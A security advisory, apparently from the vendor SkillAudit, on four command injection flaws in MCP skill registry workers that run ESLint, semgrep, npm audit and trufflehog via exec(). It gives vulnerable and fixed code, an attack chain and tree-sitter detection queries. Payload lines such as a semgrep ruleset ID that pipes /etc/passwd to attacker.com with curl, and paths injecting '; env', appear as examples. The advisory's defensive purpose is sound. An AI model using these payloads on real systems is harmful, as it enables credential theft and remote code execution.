Claude MCP skill code injection — npm package analysis and static analysis tool invocation endpoints
SA-SKL-INJECTION25 documents four code injection vulnerabilities in MCP skill registry npm package analysis and static analysis tool invocation endpoints. Each vulnerability results from constructing shell commands via string interpolation with exec() rather than using execFile() with a discrete argument array. An attacker-controlled ESLint config path with shell metacharacters achieves parser plugin RCE; a semgrep ruleset ID with a semicolon injects a second shell command; an npm audit work directory with an embedded space injects an additional argument enabling path traversal; and a trufflehog repository path with a semicolon exfiltrates environment variables containing API keys.
exec(`eslint --config ${configPath} ${targetDir}`); attacker configPath containing shell metacharacters achieves parser plugin RCE via crafted ESLint config loaded by the shell-expanded command
exec(`semgrep --config ${rulesetId} ${targetDir}`); attacker rulesetId with ; curl attacker.com/$(cat /etc/passwd | base64) injects a second shell command exfiltrating /etc/passwd
exec(`npm audit --json --prefix ${workDir}`); attacker workDir containing a space injects additional arguments; --prefix /app/dist/node_modules path traversal reads production dependencies rather than isolated workdir
exec(`trufflehog git file://${repoPath} --json`); attacker repoPath with ; env injects a command exfiltrating all environment variables including API keys and database credentials
INJECTION25-001 (Critical): ESLint config path with shell metacharacters achieves parser plugin RCE
MCP skill registries that run ESLint against submitted skill code invoke ESLint via a shell command constructed from a user-supplied or user-influenced config path. When the config path is interpolated directly into an exec() call, an attacker who controls the configPath value can inject shell metacharacters. A crafted config path containing a semicolon terminates the ESLint command and injects a second arbitrary shell command. More subtly, ESLint's --rule option processes rule configurations through its parser plugin mechanism: an attacker who controls the --config file path can point it at a file containing a parser field referencing an attacker-controlled module path, causing ESLint to require() and execute arbitrary JavaScript at analysis time.
Even without direct shell metacharacter injection, if the registry allows users to specify custom ESLint config file paths from an uploaded archive, an attacker can include a crafted .eslintrc.json in their skill archive with a parser field pointing to a malicious module within the same archive. The ESLint process will require() this module during linting, executing arbitrary code with the analysis worker's privileges. This attack requires only the ability to submit a skill archive and control an ESLint config path — both commonly available to all registered users. CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
// VULNERABLE — ESLint invoked via exec() with user-supplied configPath
// File: workers/eslint-worker.js
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runEslintAnalysis(configPath, targetDir) {
// VULNERABILITY: string interpolation in exec() — shell interprets metacharacters
// Attacker configPath: '/tmp/upload/valid.json; curl attacker.com/$(id | base64)'
// Or: '/tmp/upload/malicious-eslint.json' with parser: './rce-module.js' field
const command = `eslint --config ${configPath} --format json ${targetDir}`;
try {
const { stdout } = await execAsync(command, { timeout: 30000 });
return JSON.parse(stdout);
} catch (err) {
return { error: err.message };
}
}
Fix: Replace exec() with execFile() and pass each argument as a discrete array element — the shell is never invoked so metacharacters are not interpreted. Validate the config path against a known allowlist of config file paths managed by the registry (not user-controlled). Use --no-eslintrc to disable automatic config file discovery and pair with --rule options specified directly in the argument array for a trusted rule set, preventing any user-supplied config from being loaded. Run the analysis in an isolated container or sandbox to limit the blast radius of any escapes.
// FIXED — execFile() with arg array; --no-eslintrc; trusted rule set
// File: workers/eslint-worker.js
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);
const ESLINT_RULES_DIR = '/app/config/eslint-rules'; // operator-managed, not user-supplied
async function runEslintAnalysis(uploadedDir, targetRelPath) {
// Resolve and contain targetDir within the uploaded skill directory
const baseDir = path.resolve(uploadedDir);
const targetDir = path.resolve(baseDir, targetRelPath || '.');
if (!targetDir.startsWith(baseDir + path.sep) && targetDir !== baseDir) {
throw new Error('Target path must be within uploaded skill directory');
}
// execFile: no shell invoked; arguments are discrete; no metacharacter interpretation
const { stdout } = await execFileAsync(
'eslint',
[
'--no-eslintrc', // disable user-supplied config discovery
'--rule', 'no-eval: error', // trusted rules via discrete argv elements
'--rule', 'no-new-func: error',
'--format', 'json',
'--', targetDir, // -- prevents argument injection via targetDir
],
{
timeout: 30000,
maxBuffer: 10 * 1024 * 1024,
cwd: baseDir,
}
);
return JSON.parse(stdout);
}
INJECTION25-002 (Critical): Semgrep ruleset ID with semicolon injects second shell command exfiltrating /etc/passwd
Semgrep is widely used for semantic code analysis in MCP skill registry security scanning. When the registry invokes semgrep via a shell command constructed from a user-supplied ruleset identifier — such as p/security-audit or a custom registry ID — and uses exec() for the invocation, an attacker who controls the rulesetId parameter can inject shell commands.
Semgrep ruleset identifiers typically take the form p/ruleset-name or r/registry/ruleset. An attacker supplies a rulesetId value of p/security-audit; curl attacker.com/$(cat /etc/passwd | base64). The shell interprets the semicolon as a command separator: semgrep runs with the truncated ruleset name p/security-audit (appearing legitimate), and then the second command exfiltrates /etc/passwd. The attack is particularly effective because semgrep workers typically have read access to the codebase being analyzed, the tool's working directory, and potentially environment variables containing registry API keys and infrastructure credentials. CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
// VULNERABLE — semgrep invoked via exec() with user-supplied rulesetId
// File: workers/semgrep-worker.js
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runSemgrepScan(rulesetId, targetDir) {
// VULNERABILITY: rulesetId interpolated into exec() shell command
// Attacker rulesetId: 'p/security-audit; curl attacker.com/$(cat /etc/passwd | base64)'
const command = `semgrep --config ${rulesetId} --json ${targetDir}`;
try {
const { stdout } = await execAsync(command, { timeout: 60000 });
return JSON.parse(stdout);
} catch (err) {
return { error: err.message };
}
}
Fix: Replace exec() with execFile() and pass each argument discretely. Validate the rulesetId against a strict pattern before use — Semgrep registry names follow a known format: /^(p|r)\/[a-z0-9][a-z0-9.\-\/]{0,63}$/. Consider maintaining a server-side allowlist of approved ruleset identifiers rather than accepting arbitrary user-supplied values. Use -- before the target directory argument to prevent argument injection via the directory path.
// FIXED — execFile() with arg array; rulesetId allowlist regex
// File: workers/semgrep-worker.js
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);
const SEMGREP_RULESET_RE = /^(p|r)\/[a-z0-9][a-z0-9.\-\/]{0,63}$/;
// Operator-approved rulesets only
const APPROVED_RULESETS = new Set([
'p/security-audit',
'p/secrets',
'p/javascript',
'p/typescript',
'r/python.security',
]);
async function runSemgrepScan(rulesetId, uploadedDir) {
// Validate rulesetId format
if (!SEMGREP_RULESET_RE.test(rulesetId)) {
throw new Error(`Invalid semgrep ruleset ID: ${rulesetId}`);
}
if (!APPROVED_RULESETS.has(rulesetId)) {
throw new Error(`Semgrep ruleset not in approved list: ${rulesetId}`);
}
const targetDir = path.resolve(uploadedDir);
// execFile: no shell invoked; rulesetId is a discrete argument
const { stdout } = await execFileAsync(
'semgrep',
[
'--config', rulesetId, // discrete argv — semicolons not interpreted
'--json',
'--', targetDir, // -- prevents injection via targetDir
],
{
timeout: 60000,
maxBuffer: 20 * 1024 * 1024,
cwd: '/tmp', // neutral working directory
}
);
return JSON.parse(stdout);
}
INJECTION25-003 (High): npm audit workDir space injection reads production dependencies via --prefix path traversal
When MCP skill registries run npm audit against an uploaded skill package's dependency tree, the work directory is passed via the --prefix flag. If exec() is used and the work directory path contains a space character, the shell splits the path into multiple tokens at the space boundary. An attacker who controls the uploaded archive's extraction path, or any value used to construct workDir, can inject a space followed by --prefix /app/dist/node_modules — causing npm audit to scan the registry's production dependency tree instead of the isolated upload directory.
Reading the registry's production dependency tree reveals every installed package and its exact version, exposing any vulnerable production dependencies that the registry has not yet patched. This information enables targeted follow-on attacks against the registry's known vulnerable production packages. If the injected path traversal points to a location containing sensitive configuration (e.g., /app/config/node_modules in a monorepo), the scan results may also reveal internal package names and dependency graphs that should not be public. CVSS 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
// VULNERABLE — npm audit invoked via exec() with user-influenced workDir
// File: workers/npm-audit-worker.js
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runNpmAudit(workDir) {
// VULNERABILITY: workDir interpolated into exec() shell command
// Attacker workDir: '/tmp/uploads/skill123 --prefix /app/dist/node_modules'
// Shell splits on space: --prefix /tmp/uploads/skill123 and --prefix /app/dist/node_modules
// Last --prefix wins: audit runs against production node_modules
const command = `npm audit --json --prefix ${workDir}`;
try {
const { stdout } = await execAsync(command, { timeout: 30000 });
return JSON.parse(stdout);
} catch (err) {
return { error: err.message };
}
}
Fix: Replace exec() with execFile() and pass workDir as a discrete array element. Use path.resolve(workDir) and fs.realpathSync(workDir) to canonicalize the path and confirm it is within the expected uploads directory before passing it to npm. Set the cwd option on execFile() to the work directory instead of using --prefix entirely, to avoid potential flag injection via the directory value.
// FIXED — execFile() with arg array; path containment check; cwd option
// File: workers/npm-audit-worker.js
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const fs = require('fs');
const execFileAsync = promisify(execFile);
const UPLOADS_BASE = '/tmp/skill-uploads';
async function runNpmAudit(workDir) {
// Canonicalize path and verify containment within uploads directory
const resolved = path.resolve(workDir);
let real;
try {
real = fs.realpathSync(resolved);
} catch {
throw new Error('Work directory does not exist or is not accessible');
}
if (!real.startsWith(UPLOADS_BASE + path.sep) && real !== UPLOADS_BASE) {
throw new Error('Work directory must be within uploads base directory');
}
// execFile: no shell; --prefix passed as discrete argv element
const { stdout } = await execFileAsync(
'npm',
['audit', '--json', '--prefix', real], // real is a discrete argument — no space splitting
{
timeout: 30000,
maxBuffer: 5 * 1024 * 1024,
cwd: real, // set cwd as additional constraint
}
);
return JSON.parse(stdout);
}
INJECTION25-004 (Critical): Trufflehog repo path with semicolon exfiltrates environment variables
Trufflehog is a secrets scanning tool used by MCP skill registries to detect accidentally committed API keys, tokens, and credentials in skill codebases. The registry invokes trufflehog with a file:// URL pointing to the local clone of the uploaded skill repository. When this invocation uses exec() and interpolates the repository path as a template literal, an attacker who can control the path string can inject shell commands via semicolons or backtick subshells.
An attacker submits a repository path value of /tmp/uploads/skill123; env. The shell executes trufflehog against /tmp/uploads/skill123 (which may succeed or fail harmlessly), then executes env, which prints all environment variables. The trufflehog worker's environment typically contains AWS_ACCESS_KEY_ID, STRIPE_SECRET_KEY, DATABASE_URL, SMTP credentials, and other secrets needed to operate the registry. These are captured in the stdout output returned to the caller or logged to the audit trail, depending on error handling. CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
// VULNERABLE — trufflehog invoked via exec() with user-influenced repoPath
// File: workers/secrets-scan-worker.js
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runSecretsScan(repoPath) {
// VULNERABILITY: repoPath interpolated into exec() shell command
// Attacker repoPath: '/tmp/uploads/skill123; env'
// Shell executes: trufflehog git file:///tmp/uploads/skill123 --json; env
// env output captured in stdout and returned to caller or logged
const command = `trufflehog git file://${repoPath} --json`;
try {
const { stdout } = await execAsync(command, { timeout: 60000 });
return stdout.split('\n')
.filter(Boolean)
.map(line => JSON.parse(line));
} catch (err) {
return { error: err.message };
}
}
Fix: Replace exec() with execFile(). Pass the repoPath as a discrete argument element — the file:// URI scheme prefix can be prepended to the already-validated path value as a string concatenation before passing to execFile(). Validate repoPath against a strict pattern matching the expected temp directory structure: /^\/[a-z0-9_\-\/]{1,200}$/ plus a startsWith(UPLOADS_BASE) containment check using realpathSync(). Clear the environment variables passed to the subprocess using the env option on execFile(), keeping only the minimum variables needed for the tool to run.
// FIXED — execFile() with arg array; path validation; env isolation
// File: workers/secrets-scan-worker.js
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const fs = require('fs');
const execFileAsync = promisify(execFile);
const UPLOADS_BASE = '/tmp/skill-uploads';
const REPO_PATH_RE = /^\/[a-z0-9_\-\/]{1,200}$/;
async function runSecretsScan(repoPath) {
// Validate repoPath format
if (!REPO_PATH_RE.test(repoPath)) {
throw new Error('Invalid repoPath format');
}
// Canonicalize and confirm containment
let realPath;
try {
realPath = fs.realpathSync(path.resolve(repoPath));
} catch {
throw new Error('Repository path does not exist or is not accessible');
}
if (!realPath.startsWith(UPLOADS_BASE + path.sep)) {
throw new Error('Repository path must be within uploads base directory');
}
// execFile: no shell; repoPath is a discrete argument element
const { stdout } = await execFileAsync(
'trufflehog',
[
'git',
`file://${realPath}`, // string concatenation — not shell interpolation
'--json',
'--no-update', // prevent trufflehog from making outbound network calls
],
{
timeout: 60000,
maxBuffer: 10 * 1024 * 1024,
// Isolate environment — only PATH needed; strip all secrets
env: {
PATH: process.env.PATH,
HOME: '/tmp',
},
}
);
return stdout.split('\n')
.filter(Boolean)
.map(line => { try { return JSON.parse(line); } catch { return null; } })
.filter(Boolean);
}
Compound attack chain: static analysis injection to full worker compromise
The four INJECTION25 vulnerabilities share the same root cause — exec() with string interpolation — but offer different exploitation surfaces that can be chained across a multi-step analysis pipeline.
Phase 1 — Semgrep or ESLint injection (INJECTION25-001 / INJECTION25-002). An attacker submits a skill with a crafted config path or ruleset ID containing a semicolon. The shell command injection executes env or cat /proc/1/environ, capturing worker environment variables including internal API keys and infrastructure credentials.
Phase 2 — Path traversal for dependency intel (INJECTION25-003). With knowledge of the production directory structure gained from the environment dump, the attacker constructs a workDir value pointing to the registry's production node_modules. The npm audit result reveals every installed package and its version, mapping the registry's vulnerable production dependencies.
Phase 3 — Persistent RCE via trufflehog (INJECTION25-004). The attacker uses the stolen credentials to submit a new skill designed to trigger the trufflehog scan path, with a repoPath injecting a reverse shell command that persists beyond the initial scan invocation.
Chain severity: This chain progresses from skill submission (available to all users) to full worker process compromise, credential exfiltration, and persistent RCE. The fix is uniform across all four findings: execFile() with discrete argument arrays. A single remediation policy — "ban exec() with interpolated arguments, use execFile() everywhere" — eliminates all four vulnerabilities simultaneously.
Detection with tree-sitter queries
Query 1 — exec() with template literal argument. Matches exec() call expressions where the first argument is a template literal — the structural signature of all four INJECTION25 findings.
; tree-sitter query: exec() with template literal — all INJECTION25 patterns
(call_expression
function: (identifier) @fn (#match? @fn "^exec(Async|Sync)?$")
arguments: (arguments
(template_string) @template-arg
)
) @exec-template-injection
; Each @exec-template-injection: potential command injection.
; Review interpolated variables: are they validated with execFile()-equivalent safety?
; Fix: replace exec(template) with execFile(cmd, [arg1, arg2, ...]).
Query 2 — execAsync wrapping exec with template literal. Matches the promisified pattern where promisify(exec) result is called with a template literal — the INJECTION25-001 through INJECTION25-004 pattern.
; tree-sitter query: promisified exec with template literal (INJECTION25 pattern)
(await_expression
(call_expression
function: (identifier) @execfn
arguments: (arguments
(template_string
(template_substitution) @interpolation ; has at least one ${...} substitution
)
)
)
) @promisified-exec-injection
; Each @promisified-exec-injection where @execfn is the promisify(exec) result:
; command injection vulnerability.
; Fix: use util.promisify(execFile) + discrete arg array instead.
Query 3 — Absence of path containment check near execFile call. Matches execFile() calls on analysis tools (eslint, semgrep, npm, trufflehog) where the containing function does not call realpathSync or startsWith — indicating missing containment validation even after migrating from exec to execFile.
; tree-sitter query: execFile without realpathSync containment check (INJECTION25 fix quality gate)
(function_declaration
body: (statement_block) @fn-body
(#not-match? @fn-body "realpathSync")
(#not-match? @fn-body "realpath")
(#has-ancestor? (call_expression
function: (identifier) @fn (#match? @fn "execFile")
arguments: (arguments
(string) @tool (#match? @tool "(eslint|semgrep|npm|trufflehog)")
)
))
) @execfile-without-containment
; Each @execfile-without-containment: execFile present but path containment absent.
; Add realpathSync + startsWith(UPLOADS_BASE) check before the execFile call.
Summary
| ID | Severity | Surface | Root cause | Fix |
|---|---|---|---|---|
| INJECTION25-001 | Critical | ESLint config path (configPath) |
exec()`eslint --config ${configPath}` — shell metacharacters achieve parser plugin RCE |
execFile('eslint', ['--no-eslintrc', '--rule', ..., '--', targetDir]) |
| INJECTION25-002 | Critical | Semgrep ruleset ID (rulesetId) |
exec()`semgrep --config ${rulesetId}` — semicolon injects second shell command exfiltrating /etc/passwd |
execFile('semgrep', ['--config', rulesetId, ...]); allowlist regex; approved-rulesets set |
| INJECTION25-003 | High | npm audit work directory (workDir) |
exec()`npm audit --prefix ${workDir}` — space injection overrides --prefix to production node_modules |
execFile('npm', ['audit', '--json', '--prefix', real]); realpathSync containment check |
| INJECTION25-004 | Critical | Trufflehog repo path (repoPath) |
exec()`trufflehog git file://${repoPath}` — semicolon injects command exfiltrating env vars |
execFile('trufflehog', ['git', 'file://'+real, ...]); realpathSync; env isolation |
Checklist for MCP skill registry operators: (1) Grep all worker and service files for exec(` and execAsync(` — every template literal interpolation is a finding. (2) Confirm all static analysis tool invocations use execFile() with a discrete argument array. (3) Verify every directory path passed to analysis tools is validated with path.resolve() + realpathSync() + startsWith(BASE) before use. (4) Confirm semgrep and eslint invocations use -- before the target directory argument. (5) Verify trufflehog and similar tool workers have minimal env option set, stripping all secrets from the subprocess environment. (6) Run all three tree-sitter queries above in CI as part of the security-rule set. See also: SA-SKL-INJECTION24 for the same exec() pattern on docker image operations; SA-SKL-INJECTION23 for injection in npm publish workflows.
Scan your MCP skills for INJECTION25 and 2400+ other patterns
SkillAudit continuously audits MCP server and Claude skill codebases for CORS misconfigurations, injection vulnerabilities, deserialization flaws, SSRF, and privilege escalation. Get findings in minutes.
Get started at skillaudit.dev